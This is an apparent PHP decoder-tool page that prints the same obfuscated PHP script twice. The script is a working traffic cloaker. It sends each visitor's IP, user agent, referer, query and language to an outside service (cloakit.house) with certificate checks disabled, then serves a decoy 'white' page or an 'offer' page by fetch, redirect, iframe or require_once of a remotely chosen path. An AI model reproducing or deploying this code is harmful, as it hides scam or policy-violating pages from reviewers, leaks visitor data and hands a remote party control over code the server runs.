Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); mb_internal_encoding(base64_decode('VVRGLTg=')); ..
Decoded Output download
<?php error_reporting(0);
mb_internal_encoding(base64_decode('VVRGLTg='));
$xewfrmyp0 = $_SERVER[base64_decode('UkVNT1RFX0FERFI=')];
$fguxewxk1 = [
base64_decode('SFRUUF9DTElFTlRfSVA='),
base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I='),
base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ'),
base64_decode('SFRUUF9GT1JXQVJERURfRk9S'),
base64_decode('SFRUUF9YX0NPTUlOR19GUk9N'),
base64_decode('SFRUUF9DT01JTkdfRlJPTQ=='),
base64_decode('SFRUUF9GT1JXQVJERURfRk9SX0lQ'),
base64_decode('SFRUUF9YX1JFQUxfSVA=')
];
if ( ! empty($fguxewxk1)) {
foreach($fguxewxk1 AS $szpmsuyd2)
{
if ( ! empty($_SERVER[$szpmsuyd2])) {
$xewfrmyp0 = trim($_SERVER[$szpmsuyd2]);
break;
}
}
}
$brvnvvqh3 = [
base64_decode('bGFiZWw=') => base64_decode('ZmI3YWU0MWI3ZmFiZGQ5Yzc5ZWE5MjI0NGQwZTVhZjY='),
base64_decode('dXNlcl9hZ2VudA==') => $_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')],
base64_decode('cmVmZXJlcg==') => ! empty($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]) ? $_SERVER[base64_decode('SFRUUF9SRUZFUkVS')] : '',
base64_decode('cXVlcnk=') => ! empty($_SERVER[base64_decode('UVVFUllfU1RSSU5H')]) ? $_SERVER[base64_decode('UVVFUllfU1RSSU5H')] : '',
base64_decode('bGFuZw==') => ! empty($_SERVER[base64_decode('SFRUUF9BQ0NFUFRfTEFOR1VBR0U=')]) ? $_SERVER[base64_decode('SFRUUF9BQ0NFUFRfTEFOR1VBR0U=')] : '',
base64_decode('aXBfYWRkcmVzcw==') => $xewfrmyp0
];
if (function_exists(base64_decode('Y3VybF92ZXJzaW9u'))) {
$brvnvvqh3 = http_build_query($brvnvvqh3);
$rwlrcytd4 = curl_init(base64_decode('aHR0cHM6Ly9jbG9ha2l0LmhvdXNlL2FwaS92MS9jaGVjaw=='));
curl_setopt_array($rwlrcytd4, [
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_CUSTOMREQUEST => base64_decode('UE9TVA=='),
CURLOPT_SSL_VERIFYPEER => FALSE,
CURLOPT_TIMEOUT => 15,
CURLOPT_POSTFIELDS => $brvnvvqh3
]);
$znecswpk5 = curl_exec($rwlrcytd4);
$atwrbbwl6 = curl_getinfo($rwlrcytd4);
curl_close($rwlrcytd4);
if ( ! empty($atwrbbwl6) && $atwrbbwl6[base64_decode('aHR0cF9jb2Rl')] == 200) {
$iuproicm7 = json_decode($znecswpk5, TRUE);
if ( ! empty($iuproicm7[base64_decode('ZmlsdGVyX3R5cGU=')]) && $iuproicm7[base64_decode('ZmlsdGVyX3R5cGU=')] == base64_decode('c3Vic2NyaXB0aW9uX2V4cGlyZWQ=')) {
exit(base64_decode('WW91ciBTdWJzY3JpcHRpb24gRXhwaXJlZC4='));
}
if ( ! empty($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')]) && ! empty($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')])) {
$iyzbguqc8 = [base64_decode('c3Ns') => [base64_decode('dmVyaWZ5X3BlZXI=') => FALSE, base64_decode('dmVyaWZ5X3BlZXJfbmFtZQ==') => FALSE], base64_decode('aHR0cA==') => [base64_decode('aGVhZGVy') => base64_decode('VXNlci1BZ2VudDog') . $_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]]];
if ($iuproicm7[base64_decode('ZmlsdGVyX3BhZ2U=')] == base64_decode('b2ZmZXI=')) {
if ($iuproicm7[base64_decode('bW9kZV9vZmZlcl9wYWdl')] == base64_decode('bG9hZGluZw==')) {
if (filter_var($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], FILTER_VALIDATE_URL)) {
echo str_replace(base64_decode('PGhlYWQ+'), base64_decode('PGhlYWQ+PGJhc2UgaHJlZj0i') . $iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')] . base64_decode('IiAvPg=='), file_get_contents($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8)));
} elseif (file_exists($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')])) {
if (pathinfo($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], PATHINFO_EXTENSION) == base64_decode('aHRtbA==')) {
echo file_get_contents($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8));
} else {
require_once($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')]);
}
} else {
exit(base64_decode('T2ZmZXIgUGFnZSBOb3QgRm91bmQu'));
}
}
if ($iuproicm7[base64_decode('bW9kZV9vZmZlcl9wYWdl')] == base64_decode('cmVkaXJlY3Q=')) {
header(base64_decode('TG9jYXRpb246IA==') . $iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], TRUE, 302);
exit(0);
}
if ($iuproicm7[base64_decode('bW9kZV9vZmZlcl9wYWdl')] == base64_decode('aWZyYW1l')) {
echo base64_decode('PGlmcmFtZSBzcmM9Ig==') . $iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')] . base64_decode('IiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBhbGlnbj0ibGVmdCI+PC9pZnJhbWU+IDxzdHlsZT4gYm9keSB7IHBhZGRpbmc6IDA7IG1hcmdpbjogMDsgfSBpZnJhbWUgeyBtYXJnaW46IDA7IHBhZGRpbmc6IDA7IGJvcmRlcjogMDsgfSA8L3N0eWxlPg==');
}
}
if ($iuproicm7[base64_decode('ZmlsdGVyX3BhZ2U=')] == base64_decode('d2hpdGU=')) {
if ($iuproicm7[base64_decode('bW9kZV93aGl0ZV9wYWdl')] == base64_decode('bG9hZGluZw==')) {
if (filter_var($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], FILTER_VALIDATE_URL)) {
echo str_replace(base64_decode('PGhlYWQ+'), base64_decode('PGhlYWQ+PGJhc2UgaHJlZj0i') . $iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')] . base64_decode('IiAvPg=='), file_get_contents($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8)));
} elseif (file_exists($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')])) {
if (pathinfo($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], PATHINFO_EXTENSION) == base64_decode('aHRtbA==')) {
echo file_get_contents($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8));
} else {
require_once($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')]);
}
} else {
exit(base64_decode('V2hpdGUgUGFnZSBOb3QgRm91bmQu'));
}
}
if ($iuproicm7[base64_decode('bW9kZV93aGl0ZV9wYWdl')] == base64_decode('cmVkaXJlY3Q=')) {
header(base64_decode('TG9jYXRpb246IA==') . $iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], TRUE, 302);
exit(0);
}
}
}
} else {
exit(base64_decode('VHJ5IGFnYWluIGxhdGVyLg=='));
}
} else {
exit(base64_decode('Y1VSTCBpcyBub3Qgc3VwcG9ydGVkIG9uIHRoZSBob3N0aW5nLg=='));
}
?>
Did this file decode correctly?
Original Code
<?php error_reporting(0);
mb_internal_encoding(base64_decode('VVRGLTg='));
$xewfrmyp0 = $_SERVER[base64_decode('UkVNT1RFX0FERFI=')];
$fguxewxk1 = [
base64_decode('SFRUUF9DTElFTlRfSVA='),
base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I='),
base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ'),
base64_decode('SFRUUF9GT1JXQVJERURfRk9S'),
base64_decode('SFRUUF9YX0NPTUlOR19GUk9N'),
base64_decode('SFRUUF9DT01JTkdfRlJPTQ=='),
base64_decode('SFRUUF9GT1JXQVJERURfRk9SX0lQ'),
base64_decode('SFRUUF9YX1JFQUxfSVA=')
];
if ( ! empty($fguxewxk1)) {
foreach($fguxewxk1 AS $szpmsuyd2)
{
if ( ! empty($_SERVER[$szpmsuyd2])) {
$xewfrmyp0 = trim($_SERVER[$szpmsuyd2]);
break;
}
}
}
$brvnvvqh3 = [
base64_decode('bGFiZWw=') => base64_decode('ZmI3YWU0MWI3ZmFiZGQ5Yzc5ZWE5MjI0NGQwZTVhZjY='),
base64_decode('dXNlcl9hZ2VudA==') => $_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')],
base64_decode('cmVmZXJlcg==') => ! empty($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]) ? $_SERVER[base64_decode('SFRUUF9SRUZFUkVS')] : '',
base64_decode('cXVlcnk=') => ! empty($_SERVER[base64_decode('UVVFUllfU1RSSU5H')]) ? $_SERVER[base64_decode('UVVFUllfU1RSSU5H')] : '',
base64_decode('bGFuZw==') => ! empty($_SERVER[base64_decode('SFRUUF9BQ0NFUFRfTEFOR1VBR0U=')]) ? $_SERVER[base64_decode('SFRUUF9BQ0NFUFRfTEFOR1VBR0U=')] : '',
base64_decode('aXBfYWRkcmVzcw==') => $xewfrmyp0
];
if (function_exists(base64_decode('Y3VybF92ZXJzaW9u'))) {
$brvnvvqh3 = http_build_query($brvnvvqh3);
$rwlrcytd4 = curl_init(base64_decode('aHR0cHM6Ly9jbG9ha2l0LmhvdXNlL2FwaS92MS9jaGVjaw=='));
curl_setopt_array($rwlrcytd4, [
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_CUSTOMREQUEST => base64_decode('UE9TVA=='),
CURLOPT_SSL_VERIFYPEER => FALSE,
CURLOPT_TIMEOUT => 15,
CURLOPT_POSTFIELDS => $brvnvvqh3
]);
$znecswpk5 = curl_exec($rwlrcytd4);
$atwrbbwl6 = curl_getinfo($rwlrcytd4);
curl_close($rwlrcytd4);
if ( ! empty($atwrbbwl6) && $atwrbbwl6[base64_decode('aHR0cF9jb2Rl')] == 200) {
$iuproicm7 = json_decode($znecswpk5, TRUE);
if ( ! empty($iuproicm7[base64_decode('ZmlsdGVyX3R5cGU=')]) && $iuproicm7[base64_decode('ZmlsdGVyX3R5cGU=')] == base64_decode('c3Vic2NyaXB0aW9uX2V4cGlyZWQ=')) {
exit(base64_decode('WW91ciBTdWJzY3JpcHRpb24gRXhwaXJlZC4='));
}
if ( ! empty($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')]) && ! empty($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')])) {
$iyzbguqc8 = [base64_decode('c3Ns') => [base64_decode('dmVyaWZ5X3BlZXI=') => FALSE, base64_decode('dmVyaWZ5X3BlZXJfbmFtZQ==') => FALSE], base64_decode('aHR0cA==') => [base64_decode('aGVhZGVy') => base64_decode('VXNlci1BZ2VudDog') . $_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]]];
if ($iuproicm7[base64_decode('ZmlsdGVyX3BhZ2U=')] == base64_decode('b2ZmZXI=')) {
if ($iuproicm7[base64_decode('bW9kZV9vZmZlcl9wYWdl')] == base64_decode('bG9hZGluZw==')) {
if (filter_var($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], FILTER_VALIDATE_URL)) {
echo str_replace(base64_decode('PGhlYWQ+'), base64_decode('PGhlYWQ+PGJhc2UgaHJlZj0i') . $iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')] . base64_decode('IiAvPg=='), file_get_contents($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8)));
} elseif (file_exists($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')])) {
if (pathinfo($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], PATHINFO_EXTENSION) == base64_decode('aHRtbA==')) {
echo file_get_contents($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8));
} else {
require_once($iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')]);
}
} else {
exit(base64_decode('T2ZmZXIgUGFnZSBOb3QgRm91bmQu'));
}
}
if ($iuproicm7[base64_decode('bW9kZV9vZmZlcl9wYWdl')] == base64_decode('cmVkaXJlY3Q=')) {
header(base64_decode('TG9jYXRpb246IA==') . $iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')], TRUE, 302);
exit(0);
}
if ($iuproicm7[base64_decode('bW9kZV9vZmZlcl9wYWdl')] == base64_decode('aWZyYW1l')) {
echo base64_decode('PGlmcmFtZSBzcmM9Ig==') . $iuproicm7[base64_decode('dXJsX29mZmVyX3BhZ2U=')] . base64_decode('IiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBhbGlnbj0ibGVmdCI+PC9pZnJhbWU+IDxzdHlsZT4gYm9keSB7IHBhZGRpbmc6IDA7IG1hcmdpbjogMDsgfSBpZnJhbWUgeyBtYXJnaW46IDA7IHBhZGRpbmc6IDA7IGJvcmRlcjogMDsgfSA8L3N0eWxlPg==');
}
}
if ($iuproicm7[base64_decode('ZmlsdGVyX3BhZ2U=')] == base64_decode('d2hpdGU=')) {
if ($iuproicm7[base64_decode('bW9kZV93aGl0ZV9wYWdl')] == base64_decode('bG9hZGluZw==')) {
if (filter_var($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], FILTER_VALIDATE_URL)) {
echo str_replace(base64_decode('PGhlYWQ+'), base64_decode('PGhlYWQ+PGJhc2UgaHJlZj0i') . $iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')] . base64_decode('IiAvPg=='), file_get_contents($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8)));
} elseif (file_exists($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')])) {
if (pathinfo($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], PATHINFO_EXTENSION) == base64_decode('aHRtbA==')) {
echo file_get_contents($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], FALSE, stream_context_create($iyzbguqc8));
} else {
require_once($iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')]);
}
} else {
exit(base64_decode('V2hpdGUgUGFnZSBOb3QgRm91bmQu'));
}
}
if ($iuproicm7[base64_decode('bW9kZV93aGl0ZV9wYWdl')] == base64_decode('cmVkaXJlY3Q=')) {
header(base64_decode('TG9jYXRpb246IA==') . $iuproicm7[base64_decode('dXJsX3doaXRlX3BhZ2U=')], TRUE, 302);
exit(0);
}
}
}
} else {
exit(base64_decode('VHJ5IGFnYWluIGxhdGVyLg=='));
}
} else {
exit(base64_decode('Y1VSTCBpcyBub3Qgc3VwcG9ydGVkIG9uIHRoZSBob3N0aW5nLg=='));
}
?>
Function Calls
None |
Stats
MD5 | a4df0fb35f43508f85af6e24218a942d |
Eval Count | 0 |
Decode Time | 48 ms |